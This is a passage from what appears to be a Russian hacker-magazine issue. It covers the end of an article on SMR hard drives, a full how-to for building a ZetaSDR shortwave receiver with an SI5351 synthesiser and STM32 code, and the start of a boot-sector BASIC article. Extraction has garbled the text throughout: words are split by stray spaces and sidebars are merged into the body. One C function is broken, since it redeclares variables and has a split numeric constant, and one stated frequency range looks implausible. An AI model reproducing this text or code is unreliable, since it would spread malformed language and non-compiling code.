теля, но больш ую часть денег прои зво дитель клад ет в собс твенн ый карм ан.
Ре шать, купить тот или иной диск, в любом слу чае тебе. Есть сцен арии
использ ования, в которых исполь зование SMR недопус тимо в принц ипе, —
это масс ивы RAID 5 и 6. Исполь зовать SMR в сост аве мас сивов RAID 0 и RAID
1 — раз вле чение на любител я, но при собл юдении прос того пра вила —
исполь зовать в рам ках мас сива дис ки толь ко без CMR или толь ко с SMR —
это воз можно, хоть и не оптим аль но. В одно дис ковом NAS, который умее т
исполь зовать Trim, ты не заметишь боль шой разн ицы межд у дис ком с PMR
и диск ом SMR, под держи вающим коман ду Trim. Наконец, дис ки с SMR и Trim
впол не допус тимо использ овать в качест ве архивных.
А вот за использ ование диск ов с SMR, но без подд ерж ки Trim прои зво‐
дитель прос то обяз ан давать гигант скую скидк у. В прот ив ном слу чае мне
слож но понять пот ребител я, прио брет ающег о себе заведо мо мед ленный
(очень медл енный) и нест абильн ый по ско рост и работы накопи тель.
ЗАКЛЮЧЕНИЕ
В этой статье мы подр обно рас смот рели как саму черепичн ую тех нологию
записи SMR, так и осо бенн ости ее реали зации дву мя круп нейш ими предс та‐
вите лями индуст рии — ком пания ми Seagate и Western Digital.
Явл яет ся ли SMR абсо лют ным злом?
Нет, не являе тся — если покупа тель понимае т, какие проб лемы и огра‐
ниче ния он прио бре тает за свои деньг и, и получа ет за это дос таточ ную скид‐
ку. Но делать это нужн о с откры тыми глаз ами, а созн ательн о утаи вать
информац ию соверш енно недопуст имо. Сейч ас ком пания Western Digital,
кажет ся, отдел алась легк им испуг ом. Мне очень хотелось бы уви деть кол‐
лективн ый иск, гигант ский штраф и соот ветс твую щую ком пенсац ию, вып‐
лачен ную про изво дител ем за годы обман а и умолч аний.
Зап асусь поп корном и про дол жу отслеж ивать ситуа цию.
ТРЮКИ
ZETASDR
Candidum
[email protected]
СОБИРАЕМ
ПРОГРАММНО ОПРЕДЕЛЯЕМЫЙ
РАДИОПРИЕМНИК
СВОИМИ РУКАМИ
SDR (Software Defined Radio) — это прог рамм но опре деля‐
емая радио сист ема, где софт пре образ ует ради осиг нал
в циф ровой вид. Это откры вает широчай шие воз можнос ти
для анал иза сигн ала. Появ ление все более дос тупных сис‐
тем SDR стал о дивн ым подарк ом радио лю бите лям. В этой
статье мы разб еремс я, как работае т SDR, самым надежн ым
методом — соз дав собст вен ный при емник. И при этом пос‐
тара емся не уто нуть в пучине матанал иза.
Один из самых популяр ных SDR сегод ня — это китай ский «свис ток» RTL‐SDR,
мы о нем неодн ократ но писали (можешь пос мотреть, нап ример, статью «Де‐
лаем перв ые шаги с RTL‐SDR»). Он обла дает прост о фант асти чес кими воз‐
можнос тями для сво ей цены.
Схем а RTL2832 + RT820 выгл ядит вот так.
Сигн ал пос тупа ет на вход ради отракта, реализ ован ного на RT820, где выпол‐
няет ся перв ое прео браз ован ие част оты в про межу точн ую, здесь 3,57 МГц.
Зер кальн ый канал при этом подав ляет ся фильт ра ми, нас кольк о это воз‐
можно.
Та кое решение поз воляе т покр ыть огромный диапаз он част от от неск оль‐
ких десят ков мегагерц до пары гигагерц. Не весь сра зу, конеч но, а тольк о
кусоч ками по неск ольк о мегагерц (судя по докумен тации, RTL2832 спос обен
оциф ровать и сиг нал част отой в неск ольк о десят ков мегагерц, одна ко упи‐
рает ся в про пус кную спо собн ость USB). На самом деле зачаст ую дос таточ но
и это го.
По лученн ый сигн ал ПЧ оцифр овывае тся в RTL2832, пос ле чего под верга‐
ется вто рому прогр амм ном у прео бра зован ию част оты. Здесь уже исполь‐
зует ся квадр атур ный гетеро дин, реали зован ный прогр амм но как скал яр ное
про извед ение вхо дяще го сигн ала на опор ный. А в слу чае квадр атурн ого
гетеро дина в качес тве опор ных использ ованы два сигн ала с одной и той же
част отой, но сдви нутые по фазе на π/2. На выходе сме сител ей сто ят фильт ры
низк ой част оты, которые фильт ру ют сиг нал с удвое нной опорн ой час тотой.
В результ ате на выходе тоже име ем два сигн ала: синф азный (I) и квадр атур‐
ный (Q). Впро чем, наз вания до некото рой сте пени условны.
Сиг налы в виде потока дан ных передаю тся по USB. Собст вен но,
перед отправ кой и про исход ит ресемп ли рова ние, ког да скор ость передач и
понижае тся до прим ер но 2 Мвыб/с, в дан ной схем е это «бутылоч ное гор‐
лышко». Почему имен но квадр атурн ый гетерод ин? Из теории циф ровой
обраб от ки сигн алов извес тно, что, имея толь ко сигн алы I и Q, мож но декоди‐
ровать сиг нал с любым из сущес тву ющих спо собов модуля ции. Нап ример,
АМ‐модуляц ия, на которой мы ниже и сос редоточ им ся, реализ ует ся наибо‐
лее прост о.
Ес ли предс та вить, что I — это дей стви тельн ая часть, а Q — мни мая часть
ком плексно го сигн ала Z, то |Z| = (I^2 + Q^2)^1/2 и есть иско мый демоду‐
лиро ванн ый сигн ал. C ЧМ и ФМ уже будет слож нее, но не прин ципи альн о.
Впро чем, теория цифр овой обраб от ки сиг налов слишк ом тяжела, чтоб ы
переск азывать ее в двух слов ах, — при желании можешь по читать под робнее
сам.
Даль ше сигн ал обраб аты вает уже компь ютер, где из отдель ных сем плов I
и Q форм ируе тся комп лексный семпл Z = I + jQ. Одна ко, как ты понима‐
ешь, это тоже некото рая условность, поз воля ющая прим енить матема тичес‐
кий аппар ат ком плексног о исчисле ния к сиг налу.
По сущес тву, все это реализ ует ся такими прогр ам мным и пакета ми,
как SDR# (Windows), gqrx (Linux) или GNU radio (Linux). Посл едний нам наибо‐
лее интер есен, так как поз воля ет не толь ко про бежатьс я по диапаз ону, но и
понять, как прог рам мная часть реализ ован а внут ри. И при этом вов се не нуж‐
но залезать в дебр и прог рамми рова ния, а мож но при помощи мыши сос‐
тавить струк турную схем у (граф) из отдель ных блок ов. Блок и обыч но реали‐
зуют одну опе рацию (в лучш их тра дици ях Unix). Вот так в GNU Radio выг лядит
прост ейш ий FM‐при емник на RTL‐SDR, соз данный за пару минут.
Прос тейш ий при мер
RTL‐SDR выс тупа ет в роли источни ка, выдаю щег о поток комп лексных Z‐зна‐
чений, что рав носильн о обо им потокам I и Q. Далее сигн ал попадае т в циф‐
ровой филь тр низ ких част от ФНЧ, который выреза ет интер есую щую нас
полосу. Так как в дан ном слу чае ожид ает ся част отная модуляц ия, то нам пот‐
ребу ется полоса в ~200 кГц, с цент ром в нуле, которо му соот ветс тву ет выс‐
тавленн ая на RTL‐SDR част ота. Далее сигн ал попада ет на част отный детек‐
тор, на выходе которо го получа ется реаль ный зву ковой сиг нал, подх одящий
для зву ковой кар ты. Ресемп лер нужен, чтоб ы согл асовать бит рейт сигн ала.
Ито го — половин а прие мник а все го в нес коль ко кли ков мышк и!
SIMPLE SDR
Рань ше отно ситель ной популяр ностью польз овались SDR‐при емни ки,
которые исполь зовали звук овую карт у компь юте ра в качест ве АЦП. Боль‐
шинст во име ли схо жую конс трукц ию и сос тояли из опор ного генерат ора,
фазовр ащател я, смес ител я и усил ител я низ кой час тоты. Выход уси лите ля
подк лю чал ся к линей ному вход у зву ковой карт ы. Чувст ву ешь анал огию с рас‐
смот ренным выше RTL2832? Суть та же, тольк о про межут оч ная част ота тут
ниже и оцифр овывае тся уже квадр атурн ый сиг нал.
Расс мот рим схем у популяр ного прие мник а ZetaSDR.
Схем а ZetaSDR
Сиг нал с такт ового генера тора част отой F идет к фазов ращате лю, выпол‐
ненно му на двух D‐триг герах, соедин ен ных в счет чик Джен сона. Тот пред‐
став ляет собой сдвиг овый регистр, посл едний инверти рованн ый выход
которо го подан на вход. При подаче так тового сиг нала по выходам сдвиг ово‐
го регис тра будет расп ростран ятьс я поперем ен но волн а нулей и един иц.
В нашем слу чае на выходах Q0 и Q1 будут пос ледова тель но уста навл ивать ся
сост ояния 00, 01, 11, 10, что в десятич ной сист еме соот ветс твуе т 0, 1, 3, 2.
С точк и зре ния сигн алов это два меан дра част отой F/4, сдви нутые по фазе
на 90°.
Ди аграмма сигн алов на счет чике Джен сона
Да лее получен ные опор ные сиг налы пос тупаю т на клю чевой сме ситель Дэна
Тейл о (Dan Tayloe), выпол ненный на мульт ип лексо ре 74HC4052. Смес итель
умно жает один сиг нал на друг ой, поэто му если один из сигн алов — меандр,
то умно жение сво дит ся к прост ому перек лючению.
Прин цип работы сме сител я Тейл о
На прив еден ной ниже кар тинке показан а диаг рамма работы мульт ип лексор а,
где вклю чен ному каналу условно соот ветст вуе т высокий уро вень на нем.
Раб ота муль типл ексо ра
Прин имая канал X0 за 0°, видим, что 90° — это X1, 180° — X3, а 270° — X4.
Соот ветст ву ющим обра зом под клю чены и опер аци онные уси лител и.
В резуль тате на выходе получае м сиг налы I и Q, сме щенн ые на 90°. Под‐
робнее о смес ител е Тей ло можн о про читать в ориг иналь ной статье. Далее
сиг налы отправл яют ся на линейн ый вход ауди окар ты.
СИНТЕЗАТОР
В ZetaSDR прим енен неперест раи ваемый генера тор, что дает полосу при‐
ема, равн ую полосе проп ус кания аудио кар ты вок руг F/4. Думаю, ты сог‐
ласишь ся, что это не очень мног о, так как любая аудио кар та ред ко имее т
полосу про пус кания больш е 200 кГц. С дру гой сто роны, ZetaSDR разр абаты‐
вал ся как при емник набл юдате ля, и там полоса в 200 кГц перекр ыва ет весь
любитель ский диапаз он на 40 м. Но мы‐то хотим охват ить нес коль ко
КВ‐диапа зонов! Кро ме того, за посл едние десять лет стал о гораз до прощ е
с синт езато рами.
По это му восп оль зуем ся микр осхе мой SI5351, которая предс тавл яет
собой син тезатор част оты с цифр овым интерфей сом, спос обн ый вых‐
ватывать неск оль ко сигн алов с част отой от 8 кГц до 160 мГц. При этом
из обвязки тре бует лишь кварц и два под тягиваю щих резист ора для I2C —
все, как ты любишь. Для совс ем уж ленивых людей в китайс ких онлай новых
магази нах про давц ы пред лага ют и вовс е соб ранные модули на этой мик‐
росхе ме, что очень удоб но для макети рова ния.
В качест ве мик рокон трол лера я взял STM32F103C8T6, весь ма популярн ый
сегодн я сред и радио лю бител ей благ одар я пла те Bluepill. Собира ем макет
на Bluepill и модуле SI5351, а в качест ве интерфейс ов исполь зуем I2C OLED‐
дисп лей и энко дер. В ито ге получа ется такая схе ма.
Для управле ния SI5351 я использ овал библ иоте ку STM32‐SI5351, которая
пред ставл яет собой порт на С анал огичн ой библ иоте ки для Arduino на Wiring.
Так как она использ ует код на HAL, а я уже сильн о при вык к фун кци ям Li‐
bOpenCM3, ее исходник и приш лось чуть поп равить. В основном измен ения
косн улись функ ций отправ ки и чтен ия дан ных. Кром е того, в заголо вочн ом
фай ле перед прив ат ными переменн ыми пришл ось добавить модифи катор
static, инач е оно не хотело собирать ся.
В ито ге адап тированн ые фун кции прин яли сле дующий вид:
/** Write multiple bytes
* @param regAddr Register address to write to
* @param length Count Bytes
* @param data Value to write
* @return Status of operation (true = success)
*/
uint8_t si5351_write_bulk(uint8_t regAddr, uint8_t length, uint8_t *
data) {
uint8_t temp[255];
temp[0] = regAddr;
memcpy(temp+1,data, length);
i2c_transfer7(SI5351_I2C, SI5351_BUS_BASE_ADDR, temp, length + 1, 0
, 0);
return 1;
}
/** Write single byte to an 8‐bit device register.
* @param regAddr Register address to write to
* @param data New word value to write
* @return Status of operation (true = success)
*/
uint8_t si5351_write(uint8_t regAddr, uint8_t data) {
uint8_t temp[2];
temp[0] = regAddr;
temp[1] = data;
i2c_transfer7(SI5351_I2C,SI5351_BUS_BASE_ADDR, temp, 2, 0, 0);
return 1;
}
uint8_t si5351_read(uint8_t regAddr) {
uint8_t reg_val = 0;
i2c_transfer7(SI5351_I2C,SI5351_BUS_BASE_ADDR, ®Addr, 1, &
reg_val, 1);
return reg_val;
}
Из‐за рас хожде ний в обра бот ке данн ых при переда че по I2C меж ду HAL и Li‐
bOpenCM3 фун кция si5351_write_bulk() получил ась неск оль ко сложн ой.
Но, учи тывая неболь шой объе м дан ных, передав аемых в SI5351, я решил, что
спуск атьс я на уро вень ниже и писать свой анал ог для i2c_transfer7() ради
все го это го не сто ит. А вот с заголо воч ным файл ом приш лось поковыр ятьс я
доль ше. Для запус ка син тезато ра необ ходимо иниц иализ иров ать SI5351,
вклю чить соот ветст вую щий порт и задать част оту.
si5351_init(SI5351_CRYSTAL_LOAD_10PF, 25005500, 0);
si5351_drive_strength(SI5351_CLK0, SI5351_DRIVE_8MA);
si5351_set_freq(freq_khz * 100000ULL, SI5351_CLK0);
Час тота задае тся в si5351_set_freq() в сотых долях гер ца, поэто му зна‐
чение в килогер цах умно жает ся на конс тант у. Такж е край не желательн о ука‐
зать тип кон стант ы — ULL (uint64). Мик росхе ма может не тольк о прост о син‐
тезиро вать про изволь ную част оту, но и генери ровать неск ольк о сигн алов
с задан ным сдви гом фаз. Была реали зова на функ ция, генерир ующая два
опорн ых сиг нала со сдвиг ом фаз в 90°.
void set_feq_90(uint64_t freq) {
uint8_t coef = 650000000 / freq;
uint64_t pll_freq=coef * freq;
// We will output 14.1 MHz on CLK0 and CLK1.
// A PLLA frequency of 705 MHz was chosen to give an even
// divisor by 14.1 MHz.
unsigned long long freq = 14100000 00ULL;
unsigned long long pll_freq = 705000000 00ULL;
// Set CLK0 and CLK1 to output 14.1 MHz with a fixed PLL frequency
set_freq_manual(freq*100, pll_freq*100, SI5351_CLK0);
set_freq_manual(freq*100, pll_freq*100, SI5351_CLK1);
// Now we can set CLK1 to have a 90 deg phase shift by entering
// 50 in the CLK1 phase register, since the ratio of the PLL to
// the clock frequency is 50.
set_phase(SI5351_CLK0, 0);
set_phase(SI5351_CLK1, coef);
// We need to reset the PLL before they will be in phase alignment
pll_reset(SI5351_PLLA);
}
Сна чала я исполь зовал именн о эту фун кцию, и перв ый макет при емни ка
не имел фазовр ащател я. Одна ко прим ене ние локальн ого фазов ращате ля
на 74AC74 дало лучш ий результ ат, поэто му от генера ции двух сигн алов я
отка зал ся (хотя этот вариа нт тоже оказ ал ся рабочим).
В качест ве дисп лея здесь прим енен OLED‐экран на SSD1306, для него
была написан а биб лиоте ка, которая осу щест вляе т форм атный текс тов ый
вывод и огра ниченн о под держив ает юни код, при мер но как в моем прое кте
MP3‐пле ера, о котором я пи сал ранее. Нас тоящей засадой стал энкод ер.
С виду это очень удобн ая вещь для перес трой ки. Одна ко дешевый конт ак‐
тный энко дер стал быс тро сбои ть, и польз оватьс я им ста ло невозм ожно.
А хотелось, что бы ему снос у не было, как в Bruker AC200. И решение наш‐
лось!
По сути, энко дер лег ко мож но сдел ать из шагово го дви гател я, а у меня
как раз завалял ся один такой от принт ера. Поэто му, вдохн овивш ись од ной
пуб ликаци ей и слегк а адапт ировав схе му под имев шиеся у меня в наличии
HEF4011 (К561ЛА7), я соб рал вот такую конст рукц ию. Здесь соб ранные
на инверто рах тригг еры Шмит та форм иру ют циф ровой выход.
Ал горитм дешиф ровки сигн ала энко дера велико лепн о прост. По восх одяще‐
му фрон ту одно го из выходов энко дера случ ает ся пре рыва ние, в котором
опре деляе тся уро вень на втор ом выходе. Если там ноль, то счит аем, что
энко дер вращ ает ся впе ред, а если един ица, то назад. Это отраж ено на гра‐
фике.
Вид им, что и здесь у нас квадр атурн ые сиг налы: в одном случ ае фаза отста ет
на 90°, а в друг ом опер ежае т.
С конт ак тным энко дером такой алго ритм работал без сбое в, одна ко
с шаговым двиг ате лем в обмотках воз никла пробл ема — он делал сраз у два
шага. Кро ме того, при смен е нап равлен ия пер вый шаг выпол нялся неверн о.
Пер вую пробл ему я поборол прог рамм но, прос то про пуск ая нечет ные пре‐
рыва ния, а вто рой баг я в ито ге баналь но игнор иро вал. :)
void exti0_isr() {
static uint8_t n = 0;
n++;
if (n % 2) {
exti_reset_request(EXTI0);
return;
}
if (gpio_get(GPIOA,GPIO1)) {
if(encoder < MAX_LIMIT ‐ coef) {
encoder += coef;
}
} else {
if (encoder > MIN_LIMIT + coef) {
encoder ‐= coef;
}
}
// Флаг прерывания надо сбросить вручную
exti_reset_request(EXTI0);
}
Лю бопыт ная осо бенн ость: прер ыва ние сра баты вает, лишь ког да вывод скон‐
фигури рован как float input, а ког да его зада ешь как input pullup/pulldown, оно
не работа ет (хотя вро де как дол жно). Кноп ками перекл юча ется шаг перес‐
трой ки час тоты и уста навл иваю тся знач ения час тот, соот ветст вую щих
КВ‐диапаз онам. Ис ходник и синт езато ра, как всег да, дост упны на GitHub.
→Продолжение статьи
ТРЮКИ ← НАЧАЛО СТАТЬИ
ZETASDR
СОБИРАЕМ ПРОГРАММНО ОПРЕДЕЛЯЕМЫЙ
РАДИОПРИЕМНИК СВОИМИ РУКАМИ
СБОРКА ПРИЕМНИКА
Схем а, которую я использ овал, отли чает ся от референс ной лишь нез‐
начитель но.
Снач ала при емник и син тезатор были собр аны на макетах, при чем в пер вой
вер сии не было фазовр ащател я, а оба опорн ых сиг нала генери рова лись
в SI5351.
По том туда добавил ся фазовр ащатель (такж е на соп лях), и, что самое инте‐
рес ное, все это работал о! Вмес то 74AC74 (K1554ТМ2) такж е мож но
взять 74HC74 (K555ТМ2), но тог да выше 10 МГц вряд ли удас тся заб рать ся,
так как 74HC74 работа ет где‐то до 40 МГц. А вот AC‐серия увер енн о дер жит
до 120 МГц.
Убед ив шись в работосп особ ности конс трукц ии, я перенес устрой ство
на печат ные пла ты, что нес кольк о повысил о качест во сигн ала, осо бенн о пос‐
ле помеще ния плат в экран. Хотя раз ница была неп ринцип иальн ая.
ВЧ‐сиг налы сто ит передав ать по коак сиаль ному кабелю и исполь зовать
при этом соот ветст ву ющие разъ емы, нап ример SMA. На худой конец кабель
мож но и запая ть. Про вод, иду щий к ауди окарт е, тоже нужен экран иро ванн ый.
Необя зательн о высоко част отный, но непр емен но экран иро ванн ый, инач е все
уто нет в помехах.
Пе чат ные плат ы выпол нены из двухс тор он него фольг ирован ного стек‐
лотекс то лита, на тыльн ой стор оне сохр анен слой меди и соеди нен с земл ей,
перемыч ки сде ланы из изол иров ан ного про вода, а в мес те вхо да в пла ту
отвер стия разз енко ваны.
Са ми пла ты помеще ны в жес тяные корп уса, выполн яющие роль экра на.
Энк одер синт езато ра вмест е с кноп ками перекл ючения диапа зонов и изме‐
нения шага наст рой ки выведен отдель но.
Вмес то NE5532 можн о взять LM358, но перв ая микр осхем а все же пред‐
почти тель нее, так как мень ше шумит. И самый важн ый момент во всем
деле — антенна. Хорошо бы, конечн о, использ овать дост аточ но длинн ую
наруж ную антенну и желательн о за городом, но за неимен ием лучш его сой‐
дет и кусок про вода, раст янутый по ком нате. Осо бен но если к нему под клю‐
чить П‐образный конт ур и подс тра ивать по мак симуму сиг нала.
Неп лохих резуль татов мож но добитьс я с маг нитной антенной. Глав ное —
при ее использ овании будет куда луч ше соот ношение сигн ал/шум, что осо‐
бен но важ но в городе.
Са ма пет ля изго тов лена из коак сиаль ного кабеля и име ет диаметр 400 мм,
транз истор J309 мож но заменить на BF245 или КП303Е. Антенну и пре дуси‐
литель такж е можн о смон тировать на макет ной плат е.
Все это соб рано букв аль но на коленк е, из имевш ихся дома запасов (чер тов
коронав ирус!). Мес та занима ет немн ого, но работае т дос таточн о бодр о,
перек рывая диапаз он от 5,8 МГц до 19 000 МГц. А если парал лель но
переменн ому конд енсат ору добавить емкость, то можн о уйти и ниже.
ВКЛЮЧАЕМ
Для про вер ки работосп особ ности прие мник снач ала под ключ аем к осциллог‐
рафу. На син тезато ре выс тавля ем част оту 12 МГц (3 МГц пос ле фазов‐
ращате ля), а вмест о антенны под клю чаем генера тор сигн ала (синусо‐
ида 3 МГц разм ахом 300 мкВ). Если син тезатор нас трое н прав иль но, то час‐
тота биений на выходе дол жна быть неск оль ко герц. Собс твен но, по генера‐
тору я его и отка либ ровал, попр авив част оту квар цевого резонат ора в про‐
шивк е. Кстат и, вмест о правк и час тоты можн о было в той же фун кции задать
откло нение в ppm.
si5351_init(SI5351_CRYSTAL_LOAD_10PF, 25005500, 0);
Так же видим, что при перехо де част оты биений через 0 скачк ооб разно изме‐
няет ся сдвиг фаз межд у I и Q c 90° на –90°. Это знач ит, что все работа ет пра‐
виль но. Теперь можн о под клю чать к ауди окар те. Тут подой дет любая со сте‐
реофо ническ им линей ным вход ом. Ширина полосы про пус кания нас в дан‐
ном случ ае вол нует мало, так как мы всег да можем сдвин уть опорн ый сигн ал.
СОФТ
Есть мно жест во прогр амм для работы с SDR‐прие мни ками, однак о сей час
все они орие нти рова ны на работу с RTL‐SDR и его более спе циали зиров ан‐
ными разн овидн остям и, такими как HackRF, airspy и дру гими. Тем не менее
из акту аль ного соф та SDR# подд ержив ает захв ат с аудио кар ты. Это популяр‐
ная прог рамма, и мануа лов по ней в Сети полн о, хотя интерфейс и так инту‐
итив ен.
По это му уста навл ива ем, запуск аем, выст авляе м жела емый диапа зон
на син тезато ре, подс траи ваем антенну по мак симуму сигн ала, вклю чаем
АМ‐демодул ятор (боль шая часть всег о инте ресн ого на КВ именн о в АМ) —
и впе ред. Работа ет при емник очень устой чиво, с регенер ативн ыми ана лога‐
ми (которые до сих пор иног да собира ют) при схож ей слож ности тут по качес‐
тву прост о нет никако го срав нения. Конечн о, здесь вид ны и зер каль ный
канал, и отраж ения, особ ен но отчетлив ые на мощн ых стан циях, но это рас‐
пла та за прост оту радио тракта. Побороть отраж ения можн о, использ овав
ФНЧ на выходе опер ацио нно го уси лите ля. А зерк альн ость реальн о подавить,
отбал ан сировав каналы хотя бы по ампли туде.
Так же для Windows есть сов сем минима лис тичная и неск оль ко уста рев шая
прог рамма SDRadio, которая подд ержив ает и наш прие мник. Впроч ем, упо‐
мянуть ее сто ило ско рее ради рет роспек тивы.
Хо рошо, а что в Linux? Тут чуть слож нее: gqrx орие нтир ова на тольк о
на работу с чипами RTL и не подд ержи вает зах ват с ауди окарт ы. Так что вос‐
польз уем ся GNU Radio!
За пуск аем gnuradio‐companion и стро им несл ожный граф. В качест ве
источник а исполь зуем audio source, в свойс твах которо го выст авляе м
количест во выходов (2) и sample rate=48000. Такие нас трой ки любая ауди‐
окар та потянет. Когд а количес тво выходов audio source указ ано как два,
авто мати чес ки исполь зуют ся левый и пра вый каналы зах вата.
При необх одимос ти мож но выбр ать одну из нес коль ких ауди окарт. Даль‐
ше став им блок float to complex, который из двух реальн ых зна чений соз‐
дает одно ком плексное, к его вхо дам подк лю чаем наш источник. Такж е
полез но межд у audio source и float to complex пос тавить умно жение
на кон стант у, что позв олит отбал анс ировать каналы по ампли туде. Теперь
ста вим фильт р низ ких част от, в котором ука зывае м час тоту сре за 5 кГц.
Филь тр выделит необ ходимую нам полосу сигн ала 5 кГц вокр уг нуля.
Очень полез ная фун кция GNU Radio — воз можность использ овать
переменн ые, зна чения которых зада ются отдель но, или и вовс е изме нять
интер акт ивно с помощью элем ент ов интерфейс а. К выходу филь тра под клю‐
чаем АМ‐демодул ятор, который находит модуль ком плексног о сиг нала, и Au‐
dio Sink. А так как в данн ом случ ае sample rate источни ка и прие мни ка рав‐
ны, то сог ласовы вать их ресемп лин гом нам не нуж но. Прост ей ший AM‐при‐
емник готов!
Он прин имае т станц ию на час тоте гетерод ина, то есть в цен тре полосы,
попадаю щей на ауди окарт у. Хорошо, а как посм отреть спектр сигн ала?
Для это го добав ляем элем ент QT GUI: Frequency Sink, который отри сует
нам спектр сигн ала. Подк лю чать его сто ит к выходу блок а float to complex.
Похожим обра зом эле мент QT GUI: Waterfall Sink отвеч ает за «водопад».
Как будт о все хорошо в нашем прие мни ке. Вот тольк о нет прог рамм ной
перес тройк и час тоты в окне, а это крайн е полез ная шту ка, учит ывая, что ауди‐
окар ты част о дают арте факт ы в раз ных част ях окна. Моя вот, нап ример, в нуле
(+/–100 Гц): судя по все му, это навод ки от элек тро сети меша ют прие му сиг‐
нала.
Сде лать прогр амм ную перес тройк у дост аточн о прос то, надо добавить
еще один блок умно жения меж ду float to complex и Low Pass Filter,
но в данн ом случ ае не на конс тант у, а на фун кцию, то есть на вто рой сиг нал.
В качес тве источник а вто рого сигн ала возьм ем блок Signal Source, фор ма
сигн ала — косинус. Его час тота дол жна быть равн а той час тоте, на которую
необх одимо сдвин уть сиг нал.
Та ким образ ом, мы добави ли в при емник еще один прео браз оват ель час‐
тоты, на этот раз уже прогр ам мный. Теперь, перест раи вая част оту Signal
Source, мы можем выбирать, какую часть окна отпра вить на детект ор. Иным и
сло вами, мы прос то сдвиг аем ноль в нашем окне. Полученн ый граф при емни‐
ка выг лядит как на схе ме.
Есл и хочет ся пос лушать ради олю бите лей — никаких проб лем, толь ко вмес то
модуля сигн ала нам теперь нужн а его дейс твит ель ная часть (или мним ая,
или их сумм а, тут непр инци пиальн о). Был прие мник АМ, а стал прям ого пре‐
образ ова ния! Тут, конечн о, стои т попр авить полосу про пуск ания филь тра, так
как мы уже на SSB. Лучш е выст авить где‐нибудь 1500 Гц.
На 40 м хорошо слыш ны ради олю бител и. А вот так выгл ядит увер ен ный при ем
в режиме АМ «Меж дународн ого радио Китая», которое здо рово слышн о
во всех вещательн ых КВ‐диапаз онах.
БОНУС
Хо рошо, но что делать, если в ноут буке нет аудио кар ты, а попол зать
по КВ‐диапаз ону очень хочет ся? Можн о, конечн о, купить внешн юю ауди окар‐
ту или кон вертер к RTL‐SDR, но повыша ющий конв ертер стои т в разы дороже
самого RTL‐свис тка. Такж е в Китае про дают модифиц иров анн ые RTL‐SDR v3,
которые подд ержи вают direct conversion: цена прие мле ма, но все равн о
замет но выше, чем у RTL‐SDR. Да и зачем покупать, когд а девайс можн о хак‐
нуть.
WARNING
Опи сан ные манипу ляции могут испортить твой
RTL‐SDR, а при неб лагопр иятн ом сте чении
обсто ятельс тв выжечь порт USB и даже спал ить
материн скую плат у. Поэто му повт оряй эти дей‐
ствия на свой страх и риск и лишь в том слу чае,
если точн о зна ешь, что делае шь. Я пред уп редил!
Как ты знае шь, RTL2832U име ет на вхо де АЦП. Более того, если про читать
импро визи рованн ый дат ашит, написанн ый энтуз иаст ами, мож но уви деть, что
этих АЦП два и у обо их диф ференц иаль ный вход. При этом чип может оциф‐
ровать сигн ал вплоть до 30 МГц. По сути, все, что надо, — это подать сиг нал
на вход, можн о даже на один. В прос тей шем случ ае так и делаю т: выпаи вают
чип пре образ ова теля час тоты и при паивают антенну. Прич ем иног да чип
даже оставля ют на мест е, прос то перерез ая соот ветст вую щие дорожк и.
Но мы использ уем более эле ган тное решение. Если ты, выбирая свист ок,
сле довал рекоменд ация м, то навер няка в качес тве пре обра зоват еля там
исполь зует ся чип RT820 — и дей ствит ельн о, в нашем слу чае он более удо‐
бен. Дело в том, что RT820 исполь зует тольк о один вход I мик росхем ы
RTL2832U (это выводы 1 и 2), а вход Q (выводы 4 и 5) оста ется незадей ство‐
ванн ым.
Вот имен но к ним мы и под клю чим ся. Более того, дополн итель но можн о
восп оль зоватьс я тран сфор матором, что поз волит задей ствов ать дифф ерен‐
циаль ность вхо да, защитит от стат ики и неск ольк о согл асуе т сопр отивл ения.
Впро чем, с посл едним мы заморач иватьс я не будем. А вот защита от стат ики
горазд о важн ее, инач е в один неожид ан ный и не самый прия тный момент
девайс может превр атить ся в кир пич. Тран сформ атор мотае тся на фер‐
ритовом коль це тре мя слож ен ными вмест е пров ода ми и содерж ит шесть вит‐
ков, обмотки фазиру ются, как указ ано на схе ме.
В прин ципе, даже мотать транс фор матор необяз атель но, можн о исполь‐
зовать готовый, нап ример из ADSL‐модема. Все в этой модифи кации
хорошо, разв е что шаг у RTL2832U 0,5 мм и выводы очень корот кие. Так что
прип аять к самим кон тактам МГТФ 0,05 у меня не вышл о. Вмес то этог о я под‐
паял к ним про вод 0,1 мм, а уже к нему — выводы тран сфор матора. Чтоб ы вся
эта конст рукц ия держ алась и не шевели лась, я использ овал терм оскотч.
Эта модифик ация, конечн о, треб ует опред еленн ых навыков, но все впол не
реальн о (у меня ушло на это окол о получа са). Запуск аем gqrx с парамет рами
устрой ства rtl=0,direct_samp=2 и видим, что все прекр асно работае т
(будем оптим ист ами). Под клю чаем рамоч ную антенну, и можн о слуш ать
эфир. Параметр direct_samp=2 ука зыва ет на то, что надо использ овать пря‐
мую оциф ровку сиг нала со вход а Q. Кро ме того, основная фун кцио наль ность
устройс тва по‐прежн ему прис утст вуе т и запуск со станд ар тны ми парамет‐
рами позв оляе т при нимать УКВ.
Ко неч но, у такого прос того решения есть и недос татки в виде наводок
от FM‐стан ций, лож ных сигн алов и про чих прел ес тей, но работае т оно срав‐
нимо с RTL‐SDR v3. А если очень хочет ся, то устройс тво можн о попр обовать
про качать и дальш е. Но это, на мой взгляд, излишне, раз ве что вход ной филь‐
тр с час тотой сре за окол о 30 МГц и хороший, экран иро ван ный кор пус точ но
еще никому не мешали. :)
КОДИНГ
МИКРОБ
ПИШЕМ БЕЙСИК НА АССЕМБЛЕРЕ
И УМЕЩАЕМ В 512 БАЙТ
Хоч ешь попр актик овать ся в кодинг е Антон Карев
на ассем блер е? Давай вмес те шаг Эксперт по информационной
за шагом созд адим интер пре татор бей сика
и запус тим его пря мо из заг рузочн ого сек‐ безопасности. Область
тора тво его компью те ра. Для этог о прид ет‐ профессиональных
ся задейс твов ать перекр ыва ющиеся под‐
прогр аммы с разв етв ленн ой рекурс ией, интересов — технологическая
ина че бей сик не умес тится в 512 байт. Ско‐ разведка, аналитика в сфере
рее всег о, это будет самая слож ная прог‐
рамма в тво ей жизн и. Когд а ты созд ашь ее ИБ и искусственный
сво ими руками, смо жешь без заз рения интеллект
совес ти называть себя хакером.
[email protected]
INFO
С месяц назад я расс каз ывал, как написать
игрушку FloppyBird, которая тоже умещ алась
в бут сектор. Но по сравн ению с тем, что мы
с тобой сот ворим сейч ас, она покажетс я тебе
мел кой шалостью.
КАК ПОЛЬЗОВАТЬСЯ ИНТЕРПРЕТАТОРОМ
По сути, написав бейс ик для бут сектор а, мы прев ратим твой ПК в ана лог ста‐
рых домашн их компью тер ов типа Commodore 64 или ZX Spectrum, которые
